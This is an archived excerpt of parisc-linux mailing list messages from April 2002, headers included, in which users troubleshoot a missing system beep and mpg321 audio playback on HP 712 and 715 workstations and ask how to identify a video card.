
-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing beep
Date: Thu, 04 Apr 2002 19:08:30 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <3CAC888E.5060008@hrzpub.tu-darmstadt.de>
References: <009e01c1db57$21207ee0$02c1a8c0@james.co.uk> <20020404063354.5428C482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621211 5994 80.91.229.3 (22 Nov 2014 01:53:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  4 10:08:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx04.nexgo.de (mx04.nexgo.de [151.189.8.80])
	by dsl2.external.hp.com (Postfix) with ESMTP id 01F83482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Apr 2002 10:08:42 -0700 (MST)
Original-Received: from hrzpub.tu-darmstadt.de (dialin-145-254-201-122.arcor-ip.net [145.254.201.122])
	by mx04.nexgo.de (Postfix) with ESMTP id 28E5437B08
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Apr 2002 19:08:35 +0200 (CEST)
User-Agent: Mozilla/5.0 (Windows; U; Win98; de-AT; rv:0.9.9) Gecko/20020311
X-Accept-Language: de, de-at, en, en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14508

Hi there!

This doesn't work on my 715/100 either,  even though mpg321 works...
(kernel 2.4.18-pa10)

Ruediger

Grant Grundler wrote:

>
>Do you know if the audio driver is working for you in general?
>ie mpg321 works?
>
>grant
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>





From - Thu Nov 08 21:22:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James S <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing beep
Date: Thu, 04 Apr 2002 12:47:49 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <009c01c1dc00$d6953d20$02c1a8c0@james.co.uk>
References: <009e01c1db57$21207ee0$02c1a8c0@james.co.uk>
 <20020404063354.5428C482A@dsl2.external.hp.com>
 <006901c1dbf9$ed82da80$02c1a8c0@james.co.uk>
 <20020404180048.D27682@parcelfarce.linux.theplanet.co.uk>
Reply-To: James S <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621211 5995 80.91.229.3 (22 Nov 2014 01:53:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  4 10:47:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 227A1482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Apr 2002 10:47:51 -0700 (MST)
Original-Received: from kenny (pcp944901pcs.cstltn01.in.comcast.net [68.58.113.28])
 by mtaout01.icomcast.net (iPlanet Messaging Server 5.1 (built Feb  6 2002))
 with SMTP id <0GU200LNS1FPW7@mtaout01.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Thu, 04 Apr 2002 12:47:50 -0500 (EST)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14509

> Don't confuse the random PC architecture with the way that real systems
work.
>
fair point, but i was assuming that the 712/60's had a 'system beep' same as
the pcs that was independant of the sound system.

James S







From - Thu Nov 08 21:22:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Robb <hecubus3rd@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How do I find out what my video card is?
Date: Thu, 4 Apr 2002 11:48:02 -0800 (PST)
Lines: 13
Approved: news@gmane.org
Message-ID: <20020404194802.25288.qmail@web10504.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621211 5997 80.91.229.3 (22 Nov 2014 01:53:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  4 12:48:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web10504.mail.yahoo.com (web10504.mail.yahoo.com [216.136.130.154])
	by dsl2.external.hp.com (Postfix) with SMTP id 4F338482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Apr 2002 12:48:04 -0700 (MST)
Original-Received: from [66.186.66.235] by web10504.mail.yahoo.com via HTTP; Thu, 04 Apr 2002 11:48:02 PST
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14510

I would like to find out the capabilities of the video
card that my hp c180xp came with.  How do I go about
doing this?

Thanks,
Timothy Robb

__________________________________________________
Do You Yahoo!?
Yahoo! Tax Center - online filing with TurboTax
http://taxes.yahoo.com/



From - Thu Nov 08 21:22:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Anderson <andersop@neverland.ncssm.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing beep... and music too
Date: Thu, 4 Apr 2002 17:34:31 -0500 (EST)
Lines: 55
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0204041723170.28627-100000@bob.ncssm.edu>
References: <009c01c1dc00$d6953d20$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621212 6000 80.91.229.3 (22 Nov 2014 01:53:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:32 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  4 15:29:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bob.ncssm.edu (bob.ncssm.edu [152.34.37.42])
	by dsl2.external.hp.com (Postfix) with SMTP id D1A75482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Apr 2002 15:29:55 -0700 (MST)
Original-Received: (qmail 28654 invoked by uid 20004); 4 Apr 2002 22:34:31 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 4 Apr 2002 22:34:31 -0000
X-X-Sender: <andersop@bob.ncssm.edu>
In-Reply-To: <009c01c1dc00$d6953d20$02c1a8c0@james.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14511

the \b should elicit a beep from the system speaker. I know the 712's have 
one (at least my 712/80i does.) Yes, it is a seperate system from the 
sound card. Which leads into another issue that I meant to write here 
about...

I just got X working on my 712/80i the other day. So, I'd now like to get 
mpg321 working. I start esd from the command line and it makes several 
tones... but they come from the PC speaker, not through the sound card 
output. When I try to play something with mpg321, I tell it to use esd 
with the following command line:

mpg321 -o esd filename.mp3

the output consists of :
Illegal Instruction

anyone know why this is? should I be using esd, which seems to only use 
the internal sound instead of the real sound card hardware?

thanks,

-phil

On Thu, 4 Apr 2002, James S wrote:

> > Don't confuse the random PC architecture with the way that real systems
> work.
> >
> fair point, but i was assuming that the 712/60's had a 'system beep' same as
> the pcs that was independant of the sound system.
> 
> James S
> 
> 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

-- 
===============================================================================

Phil Anderson
UNIX Systems Administrator
andersop@neverland.ncssm.edu
The_13th_Ewok@hotmail.com

"Go CRAZY? Don't mind if I do! Woowoowoowoo!" -Homer Simpson




From - Thu Nov 08 21:22:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James S <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing beep... and music too
Date: Thu, 04 Apr 2002 18:06:06 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <00d001c1dc2d$4d038580$02c1a8c0@james.co.uk>
References: <Pine.LNX.4.33.0204041723170.28627-100000@bob.ncssm.edu>
Reply-To: James S <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621212 6004 80.91.229.3 (22 Nov 2014 01:53:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Phil Anderson <andersop@neverland.ncssm.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  4 16:06:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id BBA2C482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Apr 2002 16:06:08 -0700 (MST)
Original-Received: from kenny (pcp944901pcs.cstltn01.in.comcast.net [68.58.113.28])
 by mtaout02.icomcast.net (iPlanet Messaging Server 5.1 (built Feb  6 2002))
 with SMTP id <0GU200F4JG66IX@mtaout02.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Thu, 04 Apr 2002 18:06:06 -0500 (EST)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14512

> I just got X working on my 712/80i the other day. So, I'd now like to get
> mpg321 working. I start esd from the command line and it makes several
> tones... but they come from the PC speaker, not through the sound card
> output.

i know on my 712/60 the sound comes out the internal speaker when i play
mp3's, but it also comes out of the earphone socket - so i'm thinking the
system speaker is wired to the sound card as well, but i might be wrong

as far as esd goes, i think you can get mp3's playing without any 'sound
daemon' by just using the mp3 software....

yep, just checked, you can

James S








From - Thu Nov 08 21:22:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James S <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing beep... and music too
Date: Thu, 04 Apr 2002 18:17:10 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <00da01c1dc2e$d90b7e60$02c1a8c0@james.co.uk>
References: <Pine.LNX.4.33.0204041723170.28627-100000@bob.ncssm.edu>
 <00d001c1dc2d$4d038580$02c1a8c0@james.co.uk>
Reply-To: James S <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621212 6006 80.91.229.3 (22 Nov 2014 01:53:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  4 16:17:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FA1B482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Apr 2002 16:17:12 -0700 (MST)
Original-Received: from kenny (pcp944901pcs.cstltn01.in.comcast.net [68.58.113.28])
 by mtaout01.icomcast.net (iPlanet Messaging Server 5.1 (built Feb  6 2002))
 with SMTP id <0GU200N1IGOM3L@mtaout01.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Thu, 04 Apr 2002 18:17:11 -0500 (EST)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14513

incidentally, i installed the .deb package 'beep' & that doesnt generate any
sound either...


James S







From - Thu Nov 08 21:22:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Anderson <andersop@neverland.ncssm.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing beep... and music too
Date: Thu, 4 Apr 2002 20:39:55 -0500 (EST)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0204042038090.29216-100000@bob.ncssm.edu>
References: <00da01c1dc2e$d90b7e60$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621213 6008 80.91.229.3 (22 Nov 2014 01:53:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:33 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  4 18:35:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bob.ncssm.edu (bob.ncssm.edu [152.34.37.42])
	by dsl2.external.hp.com (Postfix) with SMTP id C25E4482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Apr 2002 18:35:14 -0700 (MST)
Original-Received: (qmail 29221 invoked by uid 20004); 5 Apr 2002 01:39:55 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 5 Apr 2002 01:39:55 -0000
X-X-Sender: <andersop@bob.ncssm.edu>
In-Reply-To: <00da01c1dc2e$d90b7e60$02c1a8c0@james.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14514

I think the problem lies in my mpg321, because no matter what I do with 
it, use esd or not, whatever options I choose - I always get the
Illegal Instruction
error. this is the mpg321 .deb I installed of  my 0.9.3 CD; could the 
mpg321 be corrupt or is something else wrong? 

-phil

On Thu, 4 Apr 2002, James S wrote:

> incidentally, i installed the .deb package 'beep' & that doesnt generate any
> sound either...
> 
> 
> James S
> 
> 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

-- 
===============================================================================

Phil Anderson
UNIX Systems Administrator
andersop@neverland.ncssm.edu
The_13th_Ewok@hotmail.com

"Go CRAZY? Don't mind if I do! Woowoowoowoo!" -Homer Simpson




From - Thu Nov 08 21:22:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James S <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing beep... and music too
Date: Thu, 04 Apr 2002 21:00:14 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <00e501c1dc45$a1df3aa0$02c1a8c0@james.co.uk>
References: <Pine.LNX.4.33.0204042038090.29216-100000@bob.ncssm.edu>
Reply-To: James S <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621213 6009 80.91.229.3 (22 Nov 2014 01:53:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Phil Anderson <andersop@neverland.ncssm.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  4 19:00:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07A81482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Apr 2002 19:00:18 -0700 (MST)
Original-Received: from kenny (pcp944901pcs.cstltn01.in.comcast.net [68.58.113.28])
 by mtaout45-02.icomcast.net (iPlanet Messaging Server 5.1 (built Feb  6 2002))
 with SMTP id <0GU200IWLO8G6J@mtaout45-02.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Thu, 04 Apr 2002 21:00:17 -0500 (EST)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14515

>I think the problem lies in my mpg321, because no matter what I do with
>it, use esd or not, whatever options I choose - I always get the
>Illegal Instruction
>error. this is the mpg321 .deb I installed of  my 0.9.3 CD; could the
>mpg321 be corrupt or is something else wrong?


i think the kernel used on the 0.9.3 cd might be fairly old by now - you
tried updating it ?


James S






From - Thu Nov 08 21:22:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing beep
Date: Thu, 04 Apr 2002 22:43:42 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20020405054342.1DA88482B@dsl2.external.hp.com>
References: <009e01c1db57$21207ee0$02c1a8c0@james.co.uk> <20020404063354.5428C482A@dsl2.external.hp.com>  <006901c1dbf9$ed82da80$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621213 6011 80.91.229.3 (22 Nov 2014 01:53:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James S <smithjames@comcast.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  4 22:43:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 1DA88482B; Thu,  4 Apr 2002 22:43:42 -0700 (MST)
In-Reply-To: Message from James S <smithjames@comcast.net> 
   of "Thu, 04 Apr 2002 11:58:21 EST." <006901c1dbf9$ed82da80$02c1a8c0@james.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14516

James S wrote:
> yes it does & can play mp3s, but surely the 'beep' is independant of the
> sound driver - the 486 has no sound card, for example.

Apple //e could beep w/o a sound card too...we even had it talking.

My understanding the speaker is wired to harmony device.
Driver needs to tell harmony to make beep if that's what you
want coming out of the speaker.

My guess is bash "sound" isn't being directed to /dev/audio or
whatever device it needs to tell to make a beep.  I was asking
to verify the driver is in place and working.

grant



From - Thu Nov 08 21:22:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing beep... and music too
Date: Thu, 04 Apr 2002 22:54:15 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20020405055415.C6C54482B@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0204042038090.29216-100000@bob.ncssm.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621214 6018 80.91.229.3 (22 Nov 2014 01:53:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Phil Anderson <andersop@neverland.ncssm.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  4 22:54:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C6C54482B; Thu,  4 Apr 2002 22:54:15 -0700 (MST)
In-Reply-To: Message from Phil Anderson <andersop@neverland.ncssm.edu> 
   of "Thu, 04 Apr 2002 20:39:55 EST." <Pine.LNX.4.33.0204042038090.29216-100000@bob.ncssm.edu> 
